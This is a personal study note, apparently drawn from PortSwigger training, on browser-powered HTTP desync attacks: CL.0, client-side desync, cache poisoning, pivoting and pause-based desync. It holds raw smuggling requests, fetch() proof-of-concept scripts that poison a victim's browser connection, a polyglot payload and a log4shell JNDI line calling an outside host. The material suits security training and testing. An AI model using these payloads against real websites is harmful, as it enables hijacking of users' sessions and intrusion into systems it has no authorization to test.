**Browser-Powered Desync Attacks**:

These are the newest form of request smuggling. James Kettle released this research in 2022.

This vulnerability will allow us to craft high-severity exploits without relying on malformed requests that browsers will never send. Not only does this expose a whole new range of websites to server-side request smuggling, it enables you to perform client-side variations of these attacks by inducing a victim's browser to poison its own connection to a vulnerable web server**.**

**CL.0 Request Smuggling:**

The backend can sometimes be convinced to ignore the content-length header which effectively makes them ignore the body of incoming requests (analogous to setting content-length to 0). This opens the door for request smuggling attacks that don’t rely on TE or HTTP/2 downgrading.

If the back-end server exhibits this behavior, but the front-end still uses the Content-Length header to determine where the request ends, you can potentially exploit this discrepancy for HTTP request smuggling. We've decided to call this a "CL.0" vulnerability.

------------------------

Testing For CL.0:

Testing for CL.0 is similar to normal request smuggling in that were essentially just looking for a 404. Note that the headers in the example are not tampered with AT ALL. The bold is our malformed request & nonbold is the next users request to the home page:

**POST /vulnerable-endpoint HTTP/1.1 Host: vulnerable-website.com Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 34 GET /hopefully404 HTTP/1.1 Foo: x**GET / HTTP/1.1 Host: vulnerable-website.com

HTTP/1.1 200 OK HTTP/1.1 404 Not Found

-----------------------

Testing steps in Repeater: \*\*\* Note we use the send group here to send multiple at once \*\*\*

1. Create one tab containing the setup request and another containing an arbitrary follow-up request.
2. Add the two tabs to a group in the correct order.
3. Using the drop-down menu next to the **Send** button, change the send mode to **Send group in sequence (single connection)**.
4. Change the Connection header to keep-alive.
5. Send the sequence and check the responses.

**\*\*\*\*\*\*In the wild, we've mostly observed this behavior on endpoints that simply aren't expecting POST requests, so they implicitly assume that no requests have a body. Endpoints that trigger server-level redirects and requests for static files are prime candidates.\*\*\*\*\*\***

**LOOK FOR 301,302 REDIRECTS!! PRIME CANIDATES FOR SMUGGLING – be sure to try to request random endpoints we see referenced in requests. For example if we see a request to /resources/js/whatever.js try to send a request to /resources or /resources/js**

--------------------------

Eliciting CL.0 Behavior:

If no endpoints directly jump out as vulnerable we can manually try to elicit this behavior.

When a request's headers trigger a server error, some servers issue an error response without consuming the request body off the socket. If they don't close the connection afterwards, this can provide an alternative CL.0 desync vector.

You can also try using GET requests with an obfuscated Content-Length header. If you're able to hide this from the back-end server but not the front-end, this also has the potential to cause a desync. We looked at some [header obfuscation techniques](https://portswigger.net/web-security/request-smuggling#te-te-behavior-obfuscating-the-te-header) when we covered TE.TE request smuggling.

---------------------------

**Exploiting CL.0:**

CL.0 can be exploited using normal exploit vectors detailed in the document called exploits.

**H2.0 Vulnerabilities:**

Websites that [downgrade HTTP/2 requests to HTTP/1](https://portswigger.net/web-security/request-smuggling/advanced/http2-downgrading) may be vulnerable to an equivalent "H2.0" issue if the back-end server ignores the Content-Length header of the downgraded request.

**Client Side Desync:**

As we've seen with CL.0 it is possible to cause desync using only HTTP/1.1 requests that are fully browser compatible. This opens up a whole new class of threat – client-side desync.

What is CSD?

A client-side desync (CSD) is an attack that makes the victim's web browser desynchronize its own connection to the vulnerable website. This can be contrasted with regular request smuggling attacks, which desynchronize the connection between a front-end and back-end server.

Web servers can sometimes be encouraged to respond to POST requests without reading in the body. If they subsequently allow the browser to reuse the same connection for additional requests, this results in a client-side desync vulnerability.

In high-level terms, a CSD attack involves the following stages:

1. The victim visits a web page on an arbitrary domain containing malicious JavaScript.
2. The JavaScript causes the victim's browser to issue a request to the vulnerable website. This contains an attacker-controlled request prefix in its body, much like a normal request smuggling attack.
3. The malicious prefix is left on the server's TCP/TLS socket after it responds to the initial request, desyncing the connection with the browser.
4. The JavaScript then triggers a follow-up request down the poisoned connection. This is appended to the malicious prefix, eliciting a harmful response from the server.

As these attacks don't rely on parsing discrepancies between two servers, this means that even single-server websites may be vulnerable.

\*\*\*\*\*\*\*\* For these attacks to work, it's important to note that the target web server must not support HTTP/2. Client-side desyncs rely on HTTP/1.1 connection reuse, and browsers generally favor HTTP/2 where available.

One exception to this rule is if you suspect that your intended victim will access the site via a forward proxy that only supports HTTP/1.1. \*\*\*\*\*\*\*\*

----------------------

**Testing for client-side desync vulnerabilities**

Due to the added complexity of relying on a browser to deliver your attack, it's important to be methodical when testing for client-side desync vulnerabilities. Although it may be tempting to jump ahead at times, we recommend the following workflow. This ensures that you confirm your assumptions about each element of the attack in stages. (stages detailed below)

1. [Probe for potential desync vectors in Burp.](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync#probing-for-client-side-desync-vectors)
2. [Confirm the desync vector in Burp.](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync#confirming-the-desync-vector-in-burp)
3. [Build a proof of concept to replicate the behavior in a browser.](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync#building-a-proof-of-concept-in-a-browser)
4. Identify an exploitable gadget.
5. Construct a working [exploit](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync#exploiting-client-side-desync-vulnerabilities) in Burp.
6. Replicate the [exploit](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync#exploiting-client-side-desync-vulnerabilities) in your browser.

Both [Burp Scanner](https://portswigger.net/burp/vulnerability-scanner) and the [HTTP Request Smuggler](https://portswigger.net/bappstore/aaaa60ef945341e8a450217a54a11646) extension can help you automate much of this process, but it's useful to know how to do this manually to cement your understanding of how it works.

---------------------------

**Probing For Client Side Desync Vectors:**

The first step in testing for client-side desync vulnerabilities is to identify or craft a request that causes the server to ignore the Content-Length header. **The simplest way to probe for this behavior is by sending a request in which the specified Content-Length is longer than the actual body:**

* If the request just hangs or times out, this suggests that the server is waiting for the remaining bytes promised by the headers.
* If you get an immediate response, you've potentially found a CSD vector. This warrants further investigation.

As with [CL.0 vulnerabilities](https://portswigger.net/web-security/request-smuggling/browser/cl-0), we've found that the most likely candidates are endpoints that aren't expecting POST requests, such as static files or server-level redirects.

Alternatively, you may be able to elicit this behavior by triggering a server error. In this case, remember that you still need a request that a browser will send cross-domain. In practice, this means you can only tamper with the URL, body, plus a few odds and ends like the Referer header and latter part of the Content-Type header.

Referer: https://evil-user.net/?%00

Content-Type: application/x-www-form-urlencoded; charset=null, boundary=x

You may also be able to trigger server errors by attempting to navigate above the web root. Just remember that browsers normalize the path, so you'll need to URL encode the characters for your traversal sequence:

GET /%2e%2e%2f HTTP/1.1

--------------------------------

**Confirming the desync vector in Burp**

It's important to note that some secure servers respond without waiting for the body but still parse it correctly when it arrives. Other servers don't handle the Content-Length correctly but close the connection immediately after responding, making them unexploitable.

To filter these out, try sending two requests down the same connection to see if you can use the body of the first request to affect the response to the second one, just like you would when [probing for CL.0 request smuggling](https://portswigger.net/web-security/request-smuggling/browser/cl-0#testing-for-cl-0-vulnerabilities).

----------------------------------

**Building a proof of concept in a browser**

Once you've identified a suitable vector using Burp, it's important to confirm that you can replicate the desync in a browser.

---

**Browser requirements**

To reduce the chance of any interference and ensure that your test simulates an arbitrary victim's browser as closely as possible:

* Use a browser that is **not** proxying traffic through Burp Suite - using any HTTP proxy can have a significant impact on the success of your attacks. We recommend Chrome as its developer tools provide some useful troubleshooting features.
* Disable any browser extensions.

1. Go to the site from which you plan to launch the attack on the victim. This must be on a different domain to the vulnerable site and be accessed over HTTPS. For the purpose of our labs, you can use the provided exploit server.
2. Open the browser's developer tools and go to the **Network** tab.
3. Make the following adjustments:
   * Select the **Preserve log** option.
   * Right-click on the headers and enable the **Connection ID** column. (refresh the page so requests appear in the network tab. Then right click on one go to Header Options and turn connection ID on. This will make it easy to see what connection is being used for what requests.

This ensures that each request that the browser sends is logged on the **Network** tab, along with details of which connection it used. This can help with troubleshooting any issues later.

1. Switch to the **Console** tab and use fetch() to replicate the desync probe you tested in Burp. The code should look something like this:

**fetch('https://vulnerable-website.com/vulnerable-endpoint', {**

**method: 'POST',**

**body: 'GET /hopefully404 HTTP/1.1\r\nFoo: x', // malicious prefix**

**mode: 'no-cors', // ensures the connection ID is visible on the Network tab**

**credentials: 'include' // poisons the "with-cookies" connection pool**

**}).then(() => {**

**location = 'https://vulnerable-website.com/' // uses the poisoned connection**

**})**

In addition to specifying the POST method and adding our malicious prefix to the body, notice that we've set the following options:

* mode: 'no-cors' - This ensures that the connection ID of each request is visible on the **Network** tab, which can help with troubleshooting.
* credentials: 'include' - Browsers generally use separate connection pools for requests with cookies and those without. This option ensures that you're poisoning the "with-cookies" pool, which you'll want for most exploits.

When you run this command, you should see two requests on the **Network** tab. The first request should receive the usual response. If the second request receives the response to the malicious prefix (in this case, a 404), this confirms that you have successfully triggered a desync from your browser.

**Handling redirects**

As we've mentioned already, requests to endpoints that trigger server-level redirects are a common vector for client-side desyncs. When building an exploit, this presents a minor obstacle because browsers will follow this redirect, breaking the attack sequence. Thankfully, there's an easy workaround.

By setting the mode: 'cors' option for the initial request, you can intentionally trigger a [CORS](https://portswigger.net/web-security/cors) error, which prevents the browser from following the redirect. You can then resume the attack sequence by invoking catch() instead of then(). For example:

fetch('https://vulnerable-website.com/redirect-me', {

method: 'POST',

body: 'GET /hopefully404 HTTP/1.1\r\nFoo: x',

mode: 'cors',

credentials: 'include'

}).catch(() => {

location = 'https://vulnerable-website.com/'

})

The downside to this approach is that you won't be able to see the connection ID on the **Network** tab, which may make troubleshooting more difficult.

------------------------

**Exploiting Client Side Desync:**

Once you've [found a suitable vector](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync#probing-for-client-side-desync-vectors) and [confirmed that you can successfully cause the desync in a browser](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync#building-a-proof-of-concept-in-a-browser), you're ready to start looking for exploitable gadgets.

**Client-side variations of classic attacks**

You can use these techniques to perform many of the [same attacks](https://portswigger.net/web-security/request-smuggling/exploiting) as you can with server-side request smuggling. All you need is for the victim to visit a malicious website that causes their browser to launch the attack.

---------------------------

Essentially this can have a similar impact as normal request smuggling but it has a lot more prerequisites and is harder to exploit. Still it is a good thing to keep in mind. Follow the methodology to the T here and it shouldn’t be that bad to exploit. Don’t forget we will need to find some functionality on the site that allows us to store text (probably of a fairly large length). Refer back to this lab for a more detailed description of this process <https://portswigger.net/web-security/request-smuggling/browser/client-side-desync/lab-client-side-desync>

**Client Side Cache Poisoning:**

We previously covered how you can use a server-side desync to [turn an on-site redirect into an open redirect](https://portswigger.net/web-security/request-smuggling/exploiting#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect), enabling you to hijack a JavaScript resource import. You can achieve the same effect just using a client-side desync, but it can be tricky to poison the right connection at the right time. It's much easier to use a desync to poison the browser's cache instead. This way, you don't need to worry about which connection it uses to load the resource.

In this section, we'll walk you through the process of constructing this attack. This involves the following high-level steps:

1. [Identify a suitable CSD vector](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync#testing-for-client-side-desync-vulnerabilities) and desync the browser's connection.
2. [Use the desynced connection to poison the cache with a redirect.](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync#poisoning-the-cache-with-a-redirect)
3. [Trigger the resource import from the target domain.](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync#triggering-the-resource-import)
4. [Deliver a payload.](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync#delivering-a-payload)

**\*\*\*\*** When testing this attack in a browser, make sure you clear your cache between each attempt (**Settings > Clear browsing data > Cached images and files**).

-----------------------

Once you've [found a CSD vector](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync#probing-for-client-side-desync-vectors) and [confirmed that you can replicate it in a browser](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync#building-a-proof-of-concept-in-a-browser), you need to identify a suitable [redirect gadget](https://portswigger.net/web-security/request-smuggling/exploiting#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect). After that, poisoning the cache is fairly straightforward.

First, tweak your proof of concept so that the smuggled prefix will trigger a redirect to the domain where you'll host your malicious payload. Next, change the follow-up request to a direct request for the target JavaScript file.

The resulting code should look something like this:

<script>

fetch('https://vulnerable-website.com/desync-vector', {

method: 'POST',

body: 'GET /redirect-me HTTP/1.1\r\nFoo: x',

credentials: 'include',

mode: 'no-cors'

}).then(() => {

location = 'https://vulnerable-website.com/resources/target.js'

})

</script>

This will poison the cache, albeit with an infinite redirect back to your script. You can confirm this by viewing the script in a browser and studying the **Network** tab in the developer tools.

**Note**

You need to trigger the follow-up request via a top-level navigation to the target domain. Due to the way browsers partition their cache, issuing a cross-domain request using fetch() will poison the wrong cache.

**Triggering the resource import**

Sending your victim into an infinite loop may be mildly irritating, but it's not much of an exploit. You now need to further develop your script so that when the browser returns having already poisoned its cache, it is navigated to a page on the vulnerable site that will trigger the resource import. This is easily achieved using conditional statements to execute different code depending on whether the browser window has viewed your script already.

When the browser attempts to import the resource on the target site, it will use its poisoned cache entry and be redirected back to your malicious page for a third time.

**Delivering a payload**

At this stage, you've laid the foundations for an attack, but the final challenge is working out how to deliver a potentially harmful payload.

Initially, the victim's browser loads your malicious page as HTML and executes the nested JavaScript in the context of your own domain. When it eventually attempts to import the JavaScript resource on the target domain and gets redirected to your malicious page, you'll notice that the script doesn't execute. This is because you're still serving HTML when the browser is expecting JavaScript.

For an actual exploit, you need a way to serve plain JavaScript from the same endpoint, while ensuring that this only executes at this final stage to avoid interfering with the setup requests.

One possible approach is to create a polyglot payload by wrapping the HTML in JavaScript comments:

alert(1);

/\*

<script>

fetch( ... )

</script>

\*/

When the browser loads the page as HTML, it will only execute the JavaScript in the <script> tags. When it eventually loads this in a JavaScript context, it will only execute the alert() payload, treating the rest of the content as arbitrary developer comments.

For more information about how we found this vulnerability in the wild, check out [Browser-Powered Desync Attacks: A New Frontier in HTTP Request Smuggling](https://portswigger.net/research/browser-powered-desync-attacks#cisco) by PortSwigger Research.

**Pivoting attacks against internal infrastructure**

Most server-side desync attacks involve manipulating HTTP headers in a way that is only possible using tools like Burp Repeater. For example, it's not possible to make someone's browser send a request with a log4shell payload in the User-Agent header:

GET / HTTP/1.1

Host: vulnerable-website.com

User-Agent: ${jndi:ldap://x.oastify.com}

This means that these attacks are normally limited to websites that you can access directly. However, if the website is vulnerable to client-side desyncs, you may be able to achieve the desired effect by inducing a victim's browser to send the following request:

POST /vulnerable-endpoint HTTP/1.1

Host: vulnerable-website.com

User-Agent: Mozilla/5.0 etc.

Content-Length: 86

GET / HTTP/1.1

Host: vulnerable-website.com

User-Agent: ${jndi:ldap://x.oastify.com}

As all of the requests originate from the victim's browser, this potentially enables you to pivot attacks against any website that they have access to. This includes sites located on trusted intranets or that are hidden behind IP-based restrictions. Some browsers are working on mitigations for these types of attack, but these are likely to only have partial coverage.

**Pause-based Desync:**

Seemingly secure websites may contain hidden desync vulnerabilities that only reveal themselves if you pause mid-request.

Servers are commonly configured with a read timeout. If they don't receive any more data for a certain amount of time, they treat the request as complete and issue a response, regardless of how many bytes they were told to expect. Pause-based desync vulnerabilities can occur when a server times out a request but leaves the connection open for reuse. Given the right conditions, this behavior can provide an alternative vector for both server-side and client-side desync attacks.

**Server-side pause-based desync**

You can potentially use the pause-based technique to elicit [CL.0](https://portswigger.net/web-security/request-smuggling/browser/cl-0)-like behavior, allowing you to construct server-side request smuggling exploits for websites that may initially appear secure.

This is dependent on the following conditions:

* The front-end server must immediately forward each byte of the request to the back-end rather than waiting until it has received the full request.
* The front-end server must not (or can be encouraged not to) time out requests before the back-end server.
* The back-end server must leave the connection open for reuse following a read timeout.

To demonstrate how this technique works, let's walk through an example. The following is a standard [CL.0 request smuggling](https://portswigger.net/web-security/request-smuggling/browser/cl-0) probe:

POST /example HTTP/1.1

Host: vulnerable-website.com

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 34

GET /hopefully404 HTTP/1.1

Foo: x

Consider what happens if we send the headers to a vulnerable website, but pause before sending the body.

1. The front-end forwards the headers to the back-end, then continues to wait for the remaining bytes promised by the Content-Length header.
2. After a while, the back-end times out and sends a response, even though it has only consumed part of the request. At this point, the front-end may or may not read in this response and forward it to us.
3. We finally send the body, which contains a basic request smuggling prefix in this case.
4. The front-end server treats this as a continuation of the initial request and forwards this to the back-end down the same connection.
5. The back-end server has already responded to the initial request, so assumes that these bytes are the start of another request.

At this point, we have effectively achieved a CL.0 desync, poisoning the front-end/back-end connection with a request prefix. We've found that servers are more likely to be vulnerable when they generate a response themselves rather than passing the request to the application.

**\*\* APACHE version < 2.4.53 is very often vulnerable to this – if you request a resource in an apache server like /resources it will initiate a redirect to /resources/ this behavior can be exploited with request smuggling\*\***

**Testing for pause-based CL.0 vulnerabilities**

It's possible to test for pause-based CL.0 vulnerabilities using Burp Repeater, but only if the front-end server forwards the back-end's post-timeout response to you the moment it's generated, which isn't always the case. We recommend using the [Turbo Intruder](https://portswigger.net/bappstore/9abaa233088242e8be252cd4ff534988) extension as it lets you pause mid-request then resume regardless of whether you've received a response.

1. In Burp Repeater, create a CL.0 request smuggling probe like we used in the example above, then send it to Turbo Intruder.
2. POST /example HTTP/1.1
3. Host: vulnerable-website.com
4. Connection: keep-alive
5. Content-Type: application/x-www-form-urlencoded
6. Content-Length: 34
7. GET /hopefully404 HTTP/1.1

Foo: x

1. In Turbo Intruder's Python editor panel, adjust the request engine configuration to set the following options:
2. concurrentConnections=1
3. requestsPerConnection=100

pipeline=False

1. Queue the request, adding the following arguments to the queue() interface:
   * pauseMarker - A list of strings after which you want Turbo Intruder to pause.
   * pauseTime - The duration of the pause in milliseconds.

For example, to pause after the headers for 60 seconds, queue the request as follows:

engine.queue(target.req, pauseMarker=['\r\n\r\n'], pauseTime=60000)

1. Queue an arbitrary follow-up request as normal:
2. followUp = 'GET / HTTP/1.1\r\nHost: vulnerable-website.com\r\n\r\n'

engine.queue(followUp)

1. Ensure that you're logging all responses to the results table:
2. def handleResponse(req, interesting):

table.add(req)

When you first start the attack, you won't see any results in the table. However, after the specified pause duration, you should see two results. If the response to the second request matches what you expected from the smuggled prefix (in this case a 404), this strongly suggests that the desync was successful.

**Client-side pause-based desync**

In theory, it may be possible to perform a client-side variation of the pause-based CL.0 desync. Unfortunately, we haven't yet found a reliable way to make a browser pause mid-request. However, there is one possible workaround - an active MITM attack.

The encryption provided by TLS may prevent a MITM from reading traffic in-flight, but there's nothing to stop them from delaying the TCP packets on their way from the browser to the web server. By simply delaying the final packet until the web server issues a response, you may be able to desync the browser's connection.

The flow of this attack is similar to any other client-side desync attack. The user visits a malicious website, which causes their browser to issue a series of cross-domain requests to the target site. In this case, you need to deliberately pad the first request so that the operating system splits it into multiple TCP packets. As you control the padding, you can pad the request until the final packet has a distinct size so you can work out which one to delay.

For an example of how this might look in practice, see [Browser-Powered Desync Attacks: A New Frontier in HTTP Request Smuggling](https://portswigger.net/research/browser-powered-desync-attacks#mitm).